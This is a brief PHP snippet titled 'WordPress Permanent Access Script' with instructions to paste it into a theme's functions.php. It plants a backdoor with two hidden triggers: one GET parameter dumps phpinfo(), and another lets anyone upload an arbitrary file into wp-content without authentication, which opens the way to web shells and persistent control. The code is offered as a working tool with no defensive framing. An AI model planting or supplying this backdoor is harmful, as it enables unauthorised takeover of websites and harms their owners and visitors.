WordPress Permanent Access Script

add to the file functions.php of the current theme
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add_action('wp_head', 'Info');
function Info() { if(isset($_GET['Info'])) phpinfo(); }
add_action('wp_head', 'Marty');
function Marty() { if(isset($_FILES['file']) && isset($_GET['Marty'])) {
 move_uploaded_file($_FILES['file']['tmp_name'], 'wp-content/' . $_FILES['file']['name']);
 echo "Stored in: " . 'wp-content/' . $_FILES['file']['name'];
}}